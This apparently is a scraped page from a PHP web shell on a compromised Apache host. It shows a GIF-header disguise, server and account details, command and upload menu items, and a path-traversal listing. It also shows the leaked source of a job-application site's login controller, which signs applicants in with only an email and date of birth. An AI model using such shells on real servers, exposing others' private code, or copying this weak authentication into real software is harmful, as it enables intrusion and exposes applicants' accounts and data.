GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.135.206.229 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../web/../jobs/application/hooks/../config/../controllers/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * * @author Softpro India Pvt. Ltd */ class Home extends CI_Controller { //put your code here public function __construct() { parent::__construct(); $this->load->model("user/AuthenticationManagement"); $this->load->model("user/ApplicationManagement"); $this->load->model("user/UserManagement"); $this->load->model("admin/BranchManagement"); } public function index() { if ($this->sessionvalidator->validateSession("userData")) { redirect("user/Dashboard"); } else { $viewData["branch"] = $this->BranchManagement->getAllBranches()->result(); $this->load->view("home", $viewData); } } public function authLogin() { $this->form_validation->set_rules("email", "email", "required|valid_email", array("required" => "Enter Your Email.", "valid_email" => "Enter A Valid Email.")); $this->form_validation->set_rules("DOB", "dob", "required", array("required" => "Choose Your DOB.")); $this->form_validation->set_rules("loginAs", "application type", "required", array("required" => "Choose Application Type.")); if ($this->form_validation->run() == false) { $this->index(); } else { $email = $this->input->post("email"); $dob = $this->input->post("DOB"); $application_type = $this->input->post("loginAs"); if ($application_type == "N") { //signupcode here $userData = array( "um_email" => $email, "um_dob" => date('Y-m-d', strtotime(str_replace('/', '-', $dob))), "um_updated_on" => date("Y-m-d H:i:s"), "um_signup_on" => date("Y-m-d H:i:s") ); if (sizeof($this->AuthenticationManagement->checkIfUserExists($email)->result()) > 0) { $this->session->set_flashdata("errorMessage", "Email Already Registered,Try Signin As Already Registered Applicant."); $this->index(); } else { $this->db->trans_start(); $um_id = $this->AuthenticationManagement->signup($userData); //$application_details = array("cdate" => $userData["um_dob"], "email" => $userData["um_email"],"um_id"=>$um_id,"regdt"=>date("Y-m-d")); //$app_detail_id = $this->ApplicationManagement->saveApplicationDetails($application_details); $this->db->trans_complete(); if ($um_id > 0) { $this->session->set_flashdata("successMessage", "You Are Registered Successfully.."); redirect("Home"); } else { $this->session->set_flashdata("errorMessage", "Failed To Signup. Try Later."); $this->index(); } } } else if ($application_type == "O") { // signin code here $userData = array( "um_email" => $email, "um_dob" => date('Y-m-d', strtotime(str_replace('/', '-', $dob))) ); $user = $this->AuthenticationManagement->signin($userData)->result(); if (sizeof($user) > 0) { $userData = array("user_email" => $user[0]->um_email, "user_dob" => $user[0]->um_dob, "user_id" => $user[0]->um_id, "user_role" => "Applicant", "isLoggedIn" => true); $branch = $this->BranchManagement->getAllBranches()->result(); $maxEndDate = $this->UserManagement->applicationFormStatus($user[0]->current_application_id, date("Y-m-d"))->result(); //echo $this->db->last_query(); if (sizeof($maxEndDate)) { if (date("Y-m-d") > date("Y-m-d", strtotime($maxEndDate[0]->max_end_date))) { $this->UserManagement->updateUser(array("current_application_id" => "", "um_id" => $user[0]->um_id)); } } if (sizeof($branch)) { $br = $branch[0]; $branchData = array( 'branch_id' => $br->branch_id, 'branch_name' => $br->branch_name, 'branch_short_name' => $br->branch_short_name, 'branch_email' => $br->branch_email, 'branch_mobile' => $br->branch_mobile_no, 'branch_tel' => $br->branch_tel_no, 'branch_fax' => $br->branch_fax, 'branch_website' => $br->branch_website_url ); $this->session->set_userdata("branchData", $branchData); } $this->session->set_userdata("userData", $userData); $this->session->set_userdata("application_id", $user[0]->current_application_id); redirect("user/Dashboard"); } else { $this->session->set_flashdata("errorMessage", "Wrong Credential. Try Again."); $this->index(); } } else { // internal error occured $this->session->set_flashdata("errorMessage", "Something Went Wrong."); $this->index(); } } } public function authLogout() { //$adminData = $this->session->userdata("userData"); $this->session->unset_userdata('userData'); $this->session->sess_destroy(); redirect("Home"); } }